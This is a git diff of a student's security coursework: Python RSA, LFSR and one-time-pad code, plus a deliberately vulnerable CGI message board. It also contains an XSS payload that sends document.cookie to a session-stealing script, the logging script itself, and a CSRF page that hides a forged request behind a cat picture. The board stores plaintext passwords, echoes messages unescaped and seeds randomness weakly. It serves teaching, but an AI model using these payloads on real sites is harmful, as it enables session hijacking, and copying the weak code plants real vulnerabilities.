diff options
| -rw-r--r-- | hw3/.gitignore | 2 | ||||
| -rwxr-xr-x | hw3/carpenter_adam_hw3.py | 171 | ||||
| -rwxr-xr-x | hw3/mr.py | 78 | ||||
| -rw-r--r-- | hw4/.gitignore | 3 | ||||
| -rw-r--r-- | hw4/cat.jpg | bin | 0 -> 50325 bytes | |||
| -rwxr-xr-x | hw4/cgi-bin/._board.py | bin | 0 -> 355 bytes | |||
| -rwxr-xr-x | hw4/cgi-bin/._login.py | bin | 0 -> 299 bytes | |||
| -rwxr-xr-x | hw4/cgi-bin/._logout.py | bin | 0 -> 299 bytes | |||
| -rwxr-xr-x | hw4/cgi-bin/._output.py | bin | 0 -> 299 bytes | |||
| -rwxr-xr-x | hw4/cgi-bin/._post.py | bin | 0 -> 299 bytes | |||
| -rwxr-xr-x | hw4/cgi-bin/._steal_session.py | bin | 0 -> 299 bytes | |||
| -rwxr-xr-x | hw4/cgi-bin/board.py | 21 | ||||
| -rwxr-xr-x | hw4/cgi-bin/login.py | 39 | ||||
| -rwxr-xr-x | hw4/cgi-bin/logout.py | 23 | ||||
| -rwxr-xr-x | hw4/cgi-bin/output.py | 97 | ||||
| -rwxr-xr-x | hw4/cgi-bin/post.py | 39 | ||||
| -rwxr-xr-x | hw4/cgi-bin/steal_session.py | 24 | ||||
| -rw-r--r-- | hw4/csrf.html | 14 | ||||
| -rw-r--r-- | hw4/index.html | 1 | ||||
| -rw-r--r-- | hw4/messages | 4 | ||||
| -rw-r--r-- | hw4/sessions | 0 | ||||
| -rw-r--r-- | hw4/simple-xss.txt | 1 | ||||
| -rw-r--r-- | hw4/stolen_sessions | 0 | ||||
| -rw-r--r-- | hw4/users | 2 | 
24 files changed, 519 insertions, 0 deletions
| diff --git a/hw3/.gitignore b/hw3/.gitignore new file mode 100644 index 0000000..dbfb78d --- /dev/null +++ b/hw3/.gitignore @@ -0,0 +1,2 @@ +*.log +*.pyc diff --git a/hw3/carpenter_adam_hw3.py b/hw3/carpenter_adam_hw3.py new file mode 100755 index 0000000..050afc5 --- /dev/null +++ b/hw3/carpenter_adam_hw3.py @@ -0,0 +1,171 @@ +#!/usr/bin/python2.7 +# Authored by Adam Carpenter +# Initial code base authored by Prof. Dmitry Evtyushkin + +import random +import time +from mr import is_probable_prime as is_prime + +def int_to_bin(i): +    o = '{0:08b}'.format(i) +    o = (8 - (len(o) % 8)) * '0' + o +    return o + +# def int_to_bin(i): +#     # deprecated; incorrect output +#     return "{0:08b}".format(i) + +def bin_to_int(b): +    return int(b,2) + +def str_to_bin(s): +    o = '' +    for i in s: +        o += '{0:08b}'.format(ord(i)) +    return o + +def bin_to_str(b): +    l = [b[i:i+8] for i in xrange(0,len(b),8)] +    o = '' +    for i in l: +        o+=chr(int(i,2)) +    return o + +def egcd(a, b): # can be used to test if numbers are co-primes +    if a == 0: +        return (b, 0, 1) +    else: +        g, y, x = egcd(b % a, a) +        return (g, x - (b // a) * y, y) +        #if g==1, the numbers are co-prime + +def modinv(a, m): +    #returns multiplicative modular inverse of a in mod m +    g, x, y = egcd(a, m) +    if g != 1: +        raise Exception('modular inverse does not exist') +    else: +        return x % m + +def sxor(a, b): +    # returns the exclusive-or result of two strings/characters +    if a == b: +        return "0" +    else: +        return "1" + +def srshift(a, b = "0"): +    # performs right-shift-like operation on a string; +    # b serves as the replacement most-significant bit +    return b + a[:-1] + +class lfsr: +    # Class implementing linear feedback shift register. Please note that it operates +    # with binary strings, strings of '0's and '1's. +    taps = [] + +    def __init__ (self, taps): +        # Receives a list of taps. Taps are the bit positions that are XOR-ed +        # together and provided to the input of lfsr + +        globals()['taps'] = taps +        self.register = '1111111111111111' +        # initial state of lfsr + +    def clock(self, i='0'): +        # Receives input bit and simulates one cycle +        # This include xoring, shifting, updating input bit and returning output +        # input bit must be XOR-ed with the taps!! + +        # grab output bit +        outputBit = self.register[-1] + +        # xor all tap values together +        tapXor = "0" + +        for tap in taps: +            tapXor = sxor(tapXor, self.register[tap]) + +        # xor input bit with resulting tap +        inputBit = sxor(i, tapXor) + +        # shift register bits and prepend input bit to stream +        self.register = srshift(self.register, inputBit) + +        # return output bit +        return outputBit + +    def seed(self, s): +        # This function seeds the lfsr by feeding all bits from s into input of +        # lfsr, output is ignored +        for i in s: +            o = self.clock(i) + +    def gen(self,n,skip=0): +        # This function clocks lfsr 'skip' number of cycles ignoring output, +        # then clocks 'n' cycles more and records the output. Then returns +        # the recorded output. This is used as hash or pad +        for x in xrange(skip): +            self.clock() +        out = '' +        for x in xrange(n): +            out += self.clock() +        return out + +def H(inp): +    # Hash function, it must initialize a new lfsr, seed it with the inp binary string +    # skip and read the required number of lfsr output bits, returns binary string + +    l = lfsr([2,4,5,7,11,14]) +    l.seed(inp) +    return l.gen(56, 1000) + +def enc_pad(m,p): +    # encrypt message m with pad p, return binary string +    # note: function assumes pad p is the same length +    # as message m, per the definition of OTP +    o = '' + +    for i in range(0, len(m)): +        o +=  sxor(m[i], p[i]) + +    return o + +def GenRSA(): +    # Function to generate RSA keys. Use the Euler's totient function (phi) +    # As we discussed in lectures. Function must: 1) seed python's random number +    # generator with time.time() 2) Generate RSA primes by keeping generating +    # random integers of size 512 bit using the random.getrandbits(512) and testing +    # whether they are prime or not using the is_prime function until both primes found. +    # 3) compute phi 4) find e that is coprime to phi. Start from e=3 and keep +    # incrementing until you find a suitable one. 4) derive d 5) return tuple (n,e,d) +    # n - public modulo, e - public exponent, d - private exponent + +    # seed random number generator +    random.seed(time.time()) + +    # generate rsa primes +    p = random.getrandbits(512) +    q = random.getrandbits(512) + +    while not is_prime(p): +        p = random.getrandbits(512) + +    while not is_prime(q): +        q = random.getrandbits(512) + +    # compute n and phi +    n = p * q +    phi = (p - 1) * (q - 1) + +    # find an e coprime to phi +    e = 3 + +    while egcd(e, phi)[0] != 1: +        e += 1 + +    # derive d +    d = modinv(e, phi) + +    # return the tuple +    return (n,e,d) diff --git a/hw3/mr.py b/hw3/mr.py new file mode 100755 index 0000000..092d294 --- /dev/null +++ b/hw3/mr.py @@ -0,0 +1,78 @@ +import random + +_mrpt_num_trials = 5 # number of bases to test + +def is_probable_prime(n): +    """ +    Miller-Rabin primality test. + +    A return value of False means n is certainly not prime. A return value of +    True means n is very likely a prime. + +    >>> is_probable_prime(1) +    Traceback (most recent call last): +        ... +    AssertionError +    >>> is_probable_prime(2) +    True +    >>> is_probable_prime(3) +    True +    >>> is_probable_prime(4) +    False +    >>> is_probable_prime(5) +    True +    >>> is_probable_prime(123456789) +    False + +    >>> primes_under_1000 = [i for i in range(2, 1000) if is_probable_prime(i)] +    >>> len(primes_under_1000) +    168 +    >>> primes_under_1000[-10:] +    [937, 941, 947, 953, 967, 971, 977, 983, 991, 997] + +    >>> is_probable_prime(6438080068035544392301298549614926991513861075340134\ +3291807343952413826484237063006136971539473913409092293733259038472039\ +7133335969549256322620979036686633213903952966175107096769180017646161\ +851573147596390153) +    True + +    >>> is_probable_prime(7438080068035544392301298549614926991513861075340134\ +3291807343952413826484237063006136971539473913409092293733259038472039\ +7133335969549256322620979036686633213903952966175107096769180017646161\ +851573147596390153) +    False +    """ +    assert n >= 2 +    # special case 2 +    if n == 2: +        return True +    # ensure n is odd +    if n % 2 == 0: +        return False +    # write n-1 as 2**s * d +    # repeatedly try to divide n-1 by 2 +    s = 0 +    d = n-1 +    while True: +        quotient, remainder = divmod(d, 2) +        if remainder == 1: +            break +        s += 1 +        d = quotient +    assert(2**s * d == n-1) + +    # test the base a to see whether it is a witness for the compositeness of n +    def try_composite(a): +        if pow(a, d, n) == 1: +            return False +        for i in range(s): +            if pow(a, 2**i * d, n) == n-1: +                return False +        return True # n is definitely composite + +    for i in range(_mrpt_num_trials): +        a = random.randrange(2, n) +        if try_composite(a): +            return False + +    return True # no base tested showed n as composite diff --git a/hw4/.gitignore b/hw4/.gitignore new file mode 100644 index 0000000..8a80dbd --- /dev/null +++ b/hw4/.gitignore @@ -0,0 +1,3 @@ +*.pyc +*.log + diff --git a/hw4/cat.jpg b/hw4/cat.jpgBinary files differ new file mode 100644 index 0000000..1890aa8 --- /dev/null +++ b/hw4/cat.jpg diff --git a/hw4/cgi-bin/._board.py b/hw4/cgi-bin/._board.pyBinary files differ new file mode 100755 index 0000000..ef20daa --- /dev/null +++ b/hw4/cgi-bin/._board.py diff --git a/hw4/cgi-bin/._login.py b/hw4/cgi-bin/._login.pyBinary files differ new file mode 100755 index 0000000..26100f6 --- /dev/null +++ b/hw4/cgi-bin/._login.py diff --git a/hw4/cgi-bin/._logout.py b/hw4/cgi-bin/._logout.pyBinary files differ new file mode 100755 index 0000000..9d1f260 --- /dev/null +++ b/hw4/cgi-bin/._logout.py diff --git a/hw4/cgi-bin/._output.py b/hw4/cgi-bin/._output.pyBinary files differ new file mode 100755 index 0000000..25267ab --- /dev/null +++ b/hw4/cgi-bin/._output.py diff --git a/hw4/cgi-bin/._post.py b/hw4/cgi-bin/._post.pyBinary files differ new file mode 100755 index 0000000..fc9cd5d --- /dev/null +++ b/hw4/cgi-bin/._post.py diff --git a/hw4/cgi-bin/._steal_session.py b/hw4/cgi-bin/._steal_session.pyBinary files differ new file mode 100755 index 0000000..69e619e --- /dev/null +++ b/hw4/cgi-bin/._steal_session.py diff --git a/hw4/cgi-bin/board.py b/hw4/cgi-bin/board.py new file mode 100755 index 0000000..5ca8afc --- /dev/null +++ b/hw4/cgi-bin/board.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python2.7 +import Cookie, os, time +import re +import uuid +import cgi +import cgitb + +cgitb.enable()		## allows for debugging errors from the cgi scripts in the browser + +from output import * + +cookie = Cookie.SimpleCookie() # for writing cookies +form = cgi.FieldStorage() # for reading GET datas + +if not Login(): +    DisplayLogin() + +# if we get here, this is an authorized user, let's print the messages +PrintMessages() + +exit(0) diff --git a/hw4/cgi-bin/login.py b/hw4/cgi-bin/login.py new file mode 100755 index 0000000..a308dde --- /dev/null +++ b/hw4/cgi-bin/login.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python2.7 +import Cookie, os, time +import re +import uuid +import cgi +import cgitb +import random + +from output import * + +cgitb.enable()		## allows for debugging errors from the cgi scripts in the browser + +cookie = Cookie.SimpleCookie() # for writing cookies +cookie_string = os.environ.get('HTTP_COOKIE') # for reading cookies +form = cgi.FieldStorage() # for reading GET data + +login = form.getvalue('username') +password  = form.getvalue('password') +with open('users', 'r') as users: +    s = users.read() +    if s.find(login + ' ' + password) == -1: +        ShowError() + +    # else set session id cookie and store it in the file! +    s_id = uuid.uuid4().hex +    cookie['session_id'] = s_id # login + +    # xss protection -- set session_id cookie to httpOnly +    cookie['session_id']['httponly'] = '1' + +    with open("sessions", "a") as myfile: +        # csrf protection -- session token construction +        random.seed() +        csrfToken = str(random.random()) +        myfile.write(s_id + ' ' + login + ' ' + csrfToken + '\n') + +    print cookie + +RedirectToBoard() diff --git a/hw4/cgi-bin/logout.py b/hw4/cgi-bin/logout.py new file mode 100755 index 0000000..9d64800 --- /dev/null +++ b/hw4/cgi-bin/logout.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python2.7 +import Cookie, os, time +import re +import uuid +import cgi +import cgitb + +from output import * + +cgitb.enable()		## allows for debugging errors from the cgi scripts in the browser + +cookie = Cookie.SimpleCookie() # for writing cookies +form = cgi.FieldStorage() # for reading GET data + +message = form.getvalue('message') + +user = Login() +if not user: +    ShowError() +    exit(0) + +RemoveAllUserSessions(user) +RedirectToBoard() diff --git a/hw4/cgi-bin/output.py b/hw4/cgi-bin/output.py new file mode 100755 index 0000000..544ac60 --- /dev/null +++ b/hw4/cgi-bin/output.py @@ -0,0 +1,97 @@ +import os +import re + +def DisplayLogin(): +    print 'Content-Type: text/html\n' +    print '<html><body>' +    print """ +    <div id="container"> +    <form action="login.py" method="get"> +    <label for="username">Username:</label> +    <input type="text" id="username" name="username"> +    <label for="password">Password:</label> +    <input type="password" id="password" name="password"> +    <div id="lower"> +    <input type="submit" value="Login"> +    </div><!--/ lower--> +    </form> +    </div> +    """ +    print '</body></html>' +    exit(0) + +def PrintMessages(): +    print 'Content-Type: text/html\n' +    print '<html><body>' +     +    with open("messages", "r") as m_file: +        s = m_file.read() +        l = s.split('\n') +        for i in l: +            if len(i) == 0: +                continue +            i.replace('\\n','\n') +            print i +            print '<br><br>' +        print """ +        <br><br> +        <form action="post.py" method="post" style="display:inline"> +        <input type="hidden" name="csrfToken" value=""" + +        # csrf protection -- session token sendoff +        s_id = os.environ.get('HTTP_COOKIE').split('=')[1] # for reading cookies + +        with open('sessions', 'r') as s_file: +            for line in s_file: +                if s_id in line: +                    print line.split()[2] + +        print """ +        <label for="message">Message:</label><br> +        <textarea rows="4" cols="50" name="message"></textarea> +        <br> +        <input type="submit" value="Post"></form> +        """ +        print """ +        <form action="logout.py" style="display:inline"> +            <input type="submit" value="Logout" /> +        </form> +        """ + +    print '</body></html>' + +def ShowError(): +    print 'Content-Type: text/html\n' +    print '<html><body>' +    print '<h2> Error ocured :P </h2>' +    print '</body></html>' +    exit(0) + +def Login(): +    cookie_string = os.environ.get('HTTP_COOKIE') # for reading cookies +    g = re.search('session_id=(\w+)', cookie_string) # if g==None -- no cookie +    if not g: +        return False +    with open('sessions', 'r') as s_file: +        s = s_file.read() +        sid = g.group(1) +        g = re.search(sid + ' ' + '(\w+)', s) +        if not g: +            return False +    return g.group(1) + +def RedirectToBoard(): +    #go back to board.py +    print 'Content-Type: text/html\n' +    print '<meta http-equiv="refresh" content="0; url=board.py" />' +    exit(0) + +def RemoveAllUserSessions(user): +    tmp = '' +    f = open('sessions', 'r') +    for line in f: +        if user not in line: +            tmp += line +    f.close() +    with open('sessions','w') as f: +        f.write(tmp) diff --git a/hw4/cgi-bin/post.py b/hw4/cgi-bin/post.py new file mode 100755 index 0000000..2a0bf8c --- /dev/null +++ b/hw4/cgi-bin/post.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python2.7 +import Cookie, os, time +import re +import uuid +import cgi +import cgitb + +from output import * + +cgitb.enable() # allows for debugging errors from the cgi scripts in the browser + +cookie = Cookie.SimpleCookie() # for writing cookies +form = cgi.FieldStorage() # for reading POST data + +message = form.getvalue('message') + +user = Login() +if not user: +    ShowError() + +if message == None: # to prevent posting empty messages +    RedirectToBoard() + +# csrf protection -- check for csrfToken +csrfToken = form.getvalue('csrfToken') + +if csrfToken is None: +    ShowError() + +with open('sessions', 'r') as s_file: +    for line in s_file: +        if user in line and not csrfToken in line: +            ShowError() + +message = message.replace('\n','\n') +with open('messages','a') as m: +    m.write(user + ': ' + message + '\n') + +RedirectToBoard() diff --git a/hw4/cgi-bin/steal_session.py b/hw4/cgi-bin/steal_session.py new file mode 100755 index 0000000..df84de6 --- /dev/null +++ b/hw4/cgi-bin/steal_session.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python2.7 +import Cookie, os, time +import re +import uuid +import cgi +import cgitb + +from output import * + +cgitb.enable()		## allows for debugging errors from the cgi scripts in the browser + +cookie = Cookie.SimpleCookie() # for writing cookies +form = cgi.FieldStorage() # for reading GET data + +session = form.getvalue('session') + +if session: +    with open('stolen_sessions','a') as m: +        m.write(session + '\n') + +#Send victim to homepage so they don't notice anything! +print 'Content-Type: text/html\n' +print '<html><body><p style="font-size:25px"><img src="http://icons.iconarchive.com/icons/iconsmind/outline/512/Evil-icon.png" height=50 width=50 align="middle"></img>   We got your session key   <img src="http://icons.iconarchive.com/icons/iconsmind/outline/512/Evil-icon.png" height=50 width=50 align="middle"></img></p></body></html>' +exit(0) diff --git a/hw4/csrf.html b/hw4/csrf.html new file mode 100644 index 0000000..3e8cdae --- /dev/null +++ b/hw4/csrf.html @@ -0,0 +1,14 @@ +<html> +<title> Innocent page </title> +<body> +<h2>This is innocent page, here is a picture of a cute cat: </h2> <br> + +<img src="cat.jpg"> + +<!-- Insert your CSRF attack here. For example you can use another hidden <img> to +generate an HTTP request to post.py to write something from victim --> + +<img src="http://127.0.0.1:8000/cgi-bin/post.py?message=i%20am%20not%20l33t" width="0" height="0" border="0"> + +</body> +</html> diff --git a/hw4/index.html b/hw4/index.html new file mode 100644 index 0000000..74c862d --- /dev/null +++ b/hw4/index.html @@ -0,0 +1 @@ +<meta http-equiv="refresh" content="0; url=cgi-bin/board.py" /> diff --git a/hw4/messages b/hw4/messages new file mode 100644 index 0000000..5a94cc2 --- /dev/null +++ b/hw4/messages @@ -0,0 +1,4 @@ +user: The weather is nice today +user: This site seems secure +hacker: I wouldn't be so sure about that... +user: Lol diff --git a/hw4/sessions b/hw4/sessions new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/hw4/sessions diff --git a/hw4/simple-xss.txt b/hw4/simple-xss.txt new file mode 100644 index 0000000..1862081 --- /dev/null +++ b/hw4/simple-xss.txt @@ -0,0 +1 @@ +<script> var tmp = '<iframe src="http://127.0.0.1:8000/cgi-bin/steal_session.py?session=' + document.cookie.split('=')[1] + '" frameBorder="0" width="1000" height="90"></iframe>'; document.write(tmp)</script> diff --git a/hw4/stolen_sessions b/hw4/stolen_sessions new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/hw4/stolen_sessions diff --git a/hw4/users b/hw4/users new file mode 100644 index 0000000..7059371 --- /dev/null +++ b/hw4/users @@ -0,0 +1,2 @@ +user 1234 +hacker 4321 |